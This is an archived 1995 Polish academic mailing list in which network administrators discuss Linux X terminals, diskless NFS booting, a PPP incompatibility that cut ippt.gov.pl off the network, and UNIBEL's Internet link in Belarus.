>Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit >Content-Length: 1950 >Sender: ceec-request@terena.nl >Status: RO > > UNIBEL: Network for Byelorussian Science and Education > > Full Internet in Belarus > > December, 1994 > > > >Currently the UNIBEL Network joins the most advanced universities, >research institutes, government and public ogranizations >dealing with science and education. UNIBEL is a result of joint >efforts of these institutions and keeps tight contacts with >all organizations and persons interested in developing academic >and research networking in Belarus. UNIBEL is supported by >Ministry of Education and Science of Republic Belarus, State >Commitee of Science and Technology and Byelorussian Foundation >for Fundamental Research. > >UNIBEL is involved in several projects intended to develop and >improve networking infrastructure in Belarus, such as: >- "Research and Development Computer Network of the Republic > of Belarus"; >- "Networking in Education: Ministry's Computer Network for > Administrative Purposes"; >- "Electronic Communications in High and Secondary Schools", > etc. > >UNIBEL Network was registered in RIPE in December 1993 >and IP numbers were assigned. UNIBEL is full national member >of TERENA, EARN and CEENet. > >Since the begining of December the users of UNIBEL can be >provided with full Internet services. Dedicated 9.6 Kbps >line Minsk-Warsaw has been established and IP-connection >has been put into operation due to great assistance of >Polish Academic and Research Network NASK. > >Additionaly UNIBEL has an access to Internet through >EUnet/Relcom network (Moscow) and UARNET (Lvov, Ukraine) >via dial-up lines. > >Dedicated line to Moscow (FREEnet) was ordered and PTT licence >was obtained. In future a satellite station will be installed >with assistance of Poland (NASK) and CEENet. This satellite >connection will replace the dedicated line Minsk-Warsaw. > >Correspondence to: > > Andrey Ivanov ivanov@ok.minsk.by > > Sergei Kritsky kritsky@ok.minsk.by > > phone/fax: +7 (0172) 20 61 34 Pozdrawiam czytelniekow _________________ (jn) Jacek Niwicki :-) ACK CYFRONET Krakow ul. Nawojki 11 geniwick@cyfronet.krakow.pl niwi@uci.agh.edu.pl _________________ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 4 20:19:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11136; Wed, 4 Jan 95 20:17:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA03125 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 20:21:27 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 4 Jan 1995 19:06:22 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3eerje$lhc@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ebicn$296@cyber.ict.pwr.wroc.pl> Subject: Re: Announce: X PC Server Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote: : Szanowni Panstwo, : znalazlem takie interesujace obwieszczenie na temat mozliwosci wykorzystania : PC z Linuxem jako X-terminala. Oprogramowanie jest dostepne : w ftp://ftp.immt.pwr.wroc.pl/pub/X-terminals : pliki xpcs.doc i xpcsa.zip : Dziala bardzo sprawnie, wymaga niestety pewnej minimalnej wiedzy na : temat plikow konfiguracyjnych XFree86 i doinstalowania fontow lub posiadana : w najblizszej okolicy font serwera. : Polecam U nas PC z Linuxem sa uzywane sprawnie jako terminale Studenckim Laboratorium. Konfiugracja to 486 z mono SVGA i 4 MB RAM (niektore 8). Sam Linux jest upchniety w okolo. 20 MB dysku - oczywiscie, nie ma tam wlasciwie nic innego poza tym, co potrzebne do takiego dzialania. Przy czym przy stawianiu tego okolo roku temu korzystano z owczesnie popularnej dystrybucji SLSa. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 4 23:59:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14871; Wed, 4 Jan 95 23:57:49 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id XAA06560 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 23:47:26 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Wed, 4 Jan 1995 22:27:01 GMT From: artur@thp2.if.uj.edu.pl (Artur Pioro) Message-Id: Organization: Physics Department of Jagiellonian University, Cracow, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl> Subject: Re: Announce: X PC Server >>>>> "Andrzej"==Andrzej K Brandt writes: Andrzej> U nas PC z Linuxem sa uzywane sprawnie jako terminale Andrzej> Studenckim Laboratorium. Konfiugracja to 486 z mono SVGA i 4 Andrzej> MB RAM (niektore 8). Sam Linux jest upchniety w okolo. 20 MB Andrzej> dysku - oczywiscie, nie ma tam wlasciwie nic innego poza tym, Andrzej> co potrzebne do takiego dzialania. Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie systemu (komputera), po zaladowaniu jakiegos na prawde malego bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS? Umozliwialoby to wykorzystanie u nas Linuxa/X-Free na o wiele wieksza skale i czynilo gre warta swieczki... ------------------------------------------------------------------------ Artur Pioro artur@thp1.if.uj.edu.pl Administrator sieci i systemow komputerowych tel. +48-12-336377 ex. 575 Zaklad Teorii Czastek Instytut Fizyki Uniwersytet Jagiellonski From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 5 09:20:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05035; Thu, 5 Jan 95 09:16:42 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14527 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 09:10:26 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 08:07:01 GMT From: lukasz@nask.org.pl (Lukasz Ploszajski) Message-Id: <3eg9b5$97q@bilbo.nask.org.pl> Organization: Research And Academic Computer Network Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3edutq$8am@ghost.mimuw.edu.pl> Subject: Re: ippt.gov.pl poza siecia? Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej : tygodnia z sieci zniknela domena ippt.gov.pl? Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco, ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo. Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem na Novellu chodza OK.). Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na wolniejsze polaczenie asynchroniczne. Przy okazji prosba do wszystkich: jesli ktos wie o programie routera na PC z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze i informacje. -Lukasz From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 5 17:00:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12081; Thu, 5 Jan 95 16:57:11 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA21985 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 16:50:53 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 15:38:22 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3eh3pe$glq@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3edutq$8am@ghost.mimuw.edu.pl>, <3eg9b5$97q@bilbo.nask.org.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: ippt.gov.pl poza siecia? Lukasz Ploszajski (lukasz@nask.org.pl) wrote: : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : : chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej : : tygodnia z sieci zniknela domena ippt.gov.pl? : Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q : i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco, : ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo. Do tej pory OK. : Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z : RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem : na Novellu chodza OK.). : Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na : wolniejsze polaczenie asynchroniczne. Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub przyjecia tego "tymczasowego rozwiazania". : Przy okazji prosba do wszystkich: jesli ktos wie o programie routera na PC : z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze : i informacje. moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO : -Lukasz piotr pogorzelski From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 5 17:40:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13136; Thu, 5 Jan 95 17:36:35 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA22810 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 17:38:43 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 16:34:04 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3eh71s$l9@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, Subject: Re: Announce: X PC Server Artur Pioro (artur@thp2.if.uj.edu.pl) wrote: : Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej : potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego : stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy : nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa : konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie : systemu (komputera), po zaladowaniu jakiegos na prawde malego : bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac : dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS? Zdalny root to chyba nie, ale moze byc zdalny /usr (tylko do odczytu) dzieki czemu root moglby byc bardzo maly. Moglby nawet byc ladowany z dyskietki (do RAM-dysku, wiec dyskietke mozna pozniej wyjac). W ten sposob mozna byloby obejsc sie nawet bez dysku twardego - warunkiem jest jednak wystarczajaca ilosc RAM (min. 8MB, bo trzeba odjac od tego 1.44MB na RAM-dysk, poza tym nie ma swap-a). Nie wiem tylko, jak szybko by to dzialalo - NFS ma opinie dosc wolnego, choc w nowszych wersjach podobno cos tu poprawiono. Pomysl wyglada niezle... Pozdrawiam -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 5 18:20:16 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14425; Thu, 5 Jan 95 18:16:39 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA23722 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 18:21:15 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 17:04:35 GMT From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel) Message-Id: <3eh8r3$6hs@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, Subject: Re: Announce: X PC Server Artur Pioro (artur@thp2.if.uj.edu.pl) wrote: : nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa : konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie : systemu (komputera), po zaladowaniu jakiegos na prawde malego : bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac : dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS? : Umozliwialoby to wykorzystanie u nas Linuxa/X-Free na o wiele wieksza : skale i czynilo gre warta swieczki... O ile mnie pamiec nie myli, to jest taki pakiet stworzony chyba na Wegrzech. Z tego co pamietam z opisu, moglo to startowac z dysku, dyskietki lub nawet z bootproma (ale glowy nie dam). Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies go zapisywalem, tylko gdzie ...). Aha, na pewno byly do tego zrodla. Grzegorz Wrobel -- Grzegorz Wrobel wrobel@tsunami.kaniup.agh.edu.pl wrobel@galaxy.uci.agh.edu.pl University of Mining and Metallurgy Krakow, Poland From krzysio@hebe.umcs.lublin.pl Thu Jan 5 18:30:52 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14754; Thu, 5 Jan 95 18:26:33 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA01058; Thu, 5 Jan 95 18:34:24 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501051734.AA01058@hebe.umcs.lublin.pl> Subject: Re: Announce: X PC Server To: polip@zsku.p.lodz.pl Date: Thu, 5 Jan 1995 18:34:24 +0100 (MET) In-Reply-To: <3eh71s$l9@sun1000.ci.pwr.wroc.pl> from "Marek Michalkiewicz" at Jan 5, 95 05:45:09 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1286 Marek Michalkiewicz wrote: > > Nie wiem tylko, jak szybko by to > dzialalo - NFS ma opinie dosc wolnego, choc w nowszych wersjach podobno > cos tu poprawiono. Pomysl wyglada niezle... > Mysle ze szybciej, niz trwa zbootowanie oryginalnego xterma firmy NCD (okolo 5 min.) - terminal ten do startu wykorzystuje tftp :) Pozdrawiam, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 5 19:01:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16077; Thu, 5 Jan 95 18:56:35 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA24518 for polip@zsku.p.lodz.pl; Thu, 5 Jan 1995 19:01:20 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 17:53:47 GMT From: lukasz@nask.org.pl (Lukasz Ploszajski) Message-Id: <3ehbnb$2v1@bilbo.nask.org.pl> Organization: Research And Academic Computer Network Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3edutq$8am@ghost.mimuw.edu.pl>, <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl> Subject: Re: ippt.gov.pl poza siecia? piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : Lukasz Ploszajski (lukasz@nask.org.pl) wrote: : : Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q : : i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco, : : ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo. : Do tej pory OK. : : Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z : : RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem : : na Novellu chodza OK.). : : Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na : : wolniejsze polaczenie asynchroniczne. : Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej : karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u : sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub : przyjecia tego "tymczasowego rozwiazania". : : Przy okazji prosba do wszystkich: jesli ktos wie o programie routera na PC : : z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze : : i informacje. : moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP. Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej karty, co i tak nie zmienia konsekwencji. A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu operatora, a nie na odwrot. Chyba nikt nie ma pretensji do TP S.A. za to, ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery. A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. To packet-driver do karty nie jest zgodny ze standardem, a nie software w Cisco. Juz widze, jaka dyskusje rozpetam :-) Pozdrowienia -Lukasz From kokowski@CS.PUT.Poznan.PL Thu Jan 5 20:25:53 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17414; Thu, 5 Jan 95 20:24:05 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA02725; Thu, 5 Jan 95 20:32:47 +0100 Subject: Re: ippt.gov.pl poza siecia? To: polip@zsku.p.lodz.pl Date: Thu, 5 Jan 1995 20:19:36 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <3ehbnb$2v1@bilbo.nask.org.pl> from "Lukasz Ploszajski" at Jan 5, 95 07:07:03 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 1212 Message-Id: <9501052019.aa02435@wega.ics.tup.edu.pl> > > A swoja droga, to jak swiat swiatem to abonenci dostosowuja sie do standardu > operatora, a nie na odwrot. Chyba nikt nie ma pretensji do TP S.A. za to, > ze wymienia centrale na nowsze, bo stare juz nie zdaja egzaminu i nie pisze > petycji z tego powodu, ze przedwojenne telefony zle wybieraja numery. > A poza tym nikt z nas przeciez nie wiedzial, ze taki problem powstanie. > To packet-driver do karty nie jest zgodny ze standardem, a nie software > w Cisco. > > Juz widze, jaka dyskusje rozpetam :-) > I oczywiscie. ... a ile znacza nowe wersje oprogramowania do routera to moga cos na ten temat powiedziec uzytkownicy DECNIS-ow. Swoja droga mozna by sie czasami zainteresowac z czym ludzie przychodza do sieci. "Dobrze prowadzeni" (sprawdzony sprzet) to mniej klopotow i tyle. Podlaczenie sie do sieci Politechniki Poznanskiej jest uwarunkowane uzyskaniem akceptacji konfiguracji sprzetowej, a juz najlepiej jesli jest to sprzet znany, sprawdzony, pewny itd. Wewnatrz swoich sieci uzytkownicy moga podlaczac sie bez takiej akceptacji - to ich wewnetrzna sprawa. Jesli natomiast chca aby ktos byl za to odpowiedzialny to musza nieco "odpuscic" ze swej suwerennosci. Tomasz Kokowski From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 00:20:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA19907; Fri, 6 Jan 95 00:16:31 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA29908 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 00:21:23 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 5 Jan 1995 22:24:12 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3ehric$db@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eg9b5$97q@bilbo.nask.org.pl>, <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl> Subject: Re: ippt.gov.pl poza siecia? Lukasz Ploszajski (lukasz@nask.org.pl) wrote: : piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : : Lukasz Ploszajski (lukasz@nask.org.pl) wrote: : : : Wiem (niestety). IPPT mialo polaczenie synchroniczne 64k na routerze ka9q : : : i tzw. czeskiej karcie. Chodzilo to dobrze ze starym software'm na cisco, : : : ale po wymianie na nowszy hardware i software okazalo sie, ze przestalo. : : Do tej pory OK. : : : Przyczyna jest to, ze PPP w ka9q nie jest zaimplementowany zgodnie z : : : RFC i cisco nie moze sie z ka9q dogadac (inne polaczenia po PPP, np z routerem : : : na Novellu chodza OK.). : : : Rozwiazaniem tymczasowym na ktore IPPT sie zdecydowalo jest przejscie na : : : wolniejsze polaczenie asynchroniczne. : : Na tym samym komputerze co do tej pory i tym samym ka9q. Tylko bez tej czeskiej : : karty. Wiec problemu nie nalezy szukac w ka9q. Szkoda, ze dzialania NASK-u : : sprowadzily sie tylko do namawiania nas do kupna dobrego routera lub : : przyjecia tego "tymczasowego rozwiazania". : : : Przy okazji prosba do wszystkich: jesli ktos wie o programie routera na PC : : : z dobrze zaimplementowanym PPP i dzialajacym na packet-driverach, to prosze : : : i informacje. : : moze ka9q, dziala z nowym sprzetem i oprogramowaniem CISCO : Chwila moment, dziala ka9q z polaczeniem asynchronicznym z protokolem SLIP. : Zrobilem blad (mea culpa) - to nie wina ka9q, a packet-drivera do czeskiej : karty, co i tak nie zmienia konsekwencji. Czegos tu nie rozumiem. Po pierwsze, o ile wiem, to KA9Q ma prawie wszystko zgodne z odnosnym RFC. Po drugie, nie rozumiem jak packet driver moze zle wyplywac na komunikacje z CISCO. Przeciez - o ile sie nie myle - takowy sluzy wylacznie do tego, zeby sie program na komputerze mogl wygodnie, przez standardowy interface dogadac z karta. Karta wysyla takie same pakiety niezaleznie od tego, jaki driver jest. Pakiety poziomu IP i wyzej i tak robi KA9Q (a raczej - przekazuje), KA9Q rowniez w tym rozwiazaniu robi PPP - co wiec wlasciwie robi ta karta? Moze to ona jest raczej przyczyna niezgodnosci. Swoja droga, to smieszne, zeby IPPT, ktore od centrali NASK w CIUW jest o kilka krokow, a od CRITu tez niedaleko mialo takie wolne lacza. No i dziwne, ze nie stac ich na normalny router, zeby skonczyc te szopki. O ile pamietam, to tam zwykle sie z pieniedzmi nie liczono specjalnie. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 6 12:08:36 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01997; Fri, 6 Jan 95 12:06:50 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA10445 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 12:01:32 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 6 Jan 1995 10:51:28 GMT From: udalski@sirius.astrouw.edu.pl (Andrzej Udalski) Message-Id: <3ej7bg$13h@bilbo.nask.org.pl> Organization: Warsaw University Astronomical Observatory Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eh3pe$glq@galaxy.uci.agh.edu.pl>, <3ehbnb$2v1@bilbo.nask.org.pl>, <3ehric$db@ghost.mimuw.edu.pl> Subject: Re: ippt.gov.pl poza siecia? Zeby wyjasnic i skonczyc te dyskusje pare slow z punktu widzenia Obserwatorium, gdzie rowniez od ponad 1.5 roku uzywalismy "czeskiej" karty i zostalismy w koncu grudnia na lodzie podobnie jak IPPT: 1. Przyczyna niedzialania polaczenia jest istotnie beznadziejny software do tejze czeskiej karty. Karta ta ma na sobie procesor Z80 jako sterownik i ladowany do niej program sluzy miedzy innymi do nawiazania linku PPP z druga strona. Jest to jednak napisane wyjatkowo prymitywnie i niezgodnie ze standardami, tymniemniej, jak pokazuje doswiadczenie, z poprzednim software na CISCO dzialalo bez zarzutu. 2. Oczywiscie nikt nie ma i miec nie moze do NASKu pretensji, ze upgrade'uja i ulepszaja serwis. Co natomiast denerwuje to monopolistyczne praktyki typu zmienilismy, nie dziala wam -- trudno nic sie nie da zrobic. Rozumiem, ze nikt nie mogl przewidziec, ze nie wszystkie polaczenia beda z nowym softwarem dzialac (choc pewnie mozna to bylo jakos przetestowac), ale skoro sie tak okazalo to wydaje mi sie, ze jedynym rozsadnym rozwiazaniem byl powrot do starej konfiguracji i ogloszenie, ze powiedzmy za 1-2 miesiace takie czy inne rozwiazania NIE beda supportowane. Uzytkownicy mieliby jakis czas na dostosowanie sie do wymagan NASKU i nie byloby sprawy. A tak z dnia na dzien pozbawieni zostalismy lacznosci -- co to oznacza nie musze mowic. Przyklad z Telekomunikacja jest o tyle chybiony, bo w koncu mimo, ze to dopiero jest monopolista, to jednak nie kaze z dnia na dzien przejsc bez zapowiedzi z pulse dialing na tone dialing. Nawet TVP nie przeszla z dnia na dzien z SECAMu na PAL. 3. Co do tego czy kogos stac czy nie na normalny router -- to oczywiscie jest to sprawa wzgledna. Czeska plytka kosztowala $350, najprostszy router jednak $3000 -- oba rozwiazania jak dotad dzialaly mniej wiecej tak samo jesli chodzi o throughupt wiec oczywiscie "wybor nalezy do Ciebie". A wybor mial miejsce dosc dawno temu gdy te $3000 to bylo raczej "jakis czynnik > 1" * $3000 i gdy inne tak prezne teraz osrodki podlaczone byly pewnie na 9600bps lub wolniej, jesli w ogole. Tak czy owak zamowilismy sobie wlasnie "normalny router", a kolegom z NASK podziekowanie za pomoc w uruchomieniu "polaczenia zastepczego". AU **************************************************************************** Andrzej Udalski Internet: udalski@sirius.astrouw.edu.pl Warsaw University Observatory Bitnet: udalski@plwauw61.bitnet Al. Ujazdowskie 4 Voice: 48-22-294011 ext 10 00-478 Warszawa, POLAND FAX: 48-22-294967 **************************************************************************** From andyar33@puma.wz.uw.edu.pl Fri Jan 6 13:18:36 1995 Received: from puma.wz.uw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04087; Fri, 6 Jan 95 13:16:17 +0100 Return-Path: Received: (from andyar33@localhost) by puma.wz.uw.edu.pl (8.6.9/8.6.9) id NAA00770 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 13:17:25 +0100 From: Andrzej Jarzewski Message-Id: <199501061217.NAA00770@puma.wz.uw.edu.pl> Subject: szukam kontaktu i informacji To: polip@zsku.p.lodz.pl (polip) Date: Fri, 6 Jan 1995 13:17:24 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 755 Szanowni Panstwo, moze moj list nie za bardzo dotyczy tematyki listy, ale w moim mniemaniu jest to najlepsze grono do uzyskania informacji, ktorych potrzebuje. Otoz, kiedys na ktorejs z list dyskuyjnych pojawil sie fragment regulaminu dla uzytkownikow z oklic Gdyni, czy Gdanska. Chcial bym nawiazac kontakt z jego autorem. Jestem jednym ze wspolorganizatorow wezla sieci Internet na Wydziale Zarzadzania Uniwersystetu Warszawskiego. W polskiej sieci jestesmy dopiero od pazdziernika 1994, ale juz mamy klopoty z uzytkownikami. Konstrujac swoj wlasny regulamin chcemy sie oprzec na dobrych wzorach. Prosba dotyczy rowniez wszystkich, ktorzy maja dostep do takich materialow. Prosze o listy na moj prywatny adres: andyar33@plearn.edu.pl Andrzej Jarzewski From GREG@chicken.iie.wsi.zgora.pl Fri Jan 6 13:30:09 1995 Received: from vigo.iie.wsi.zgora.pl by 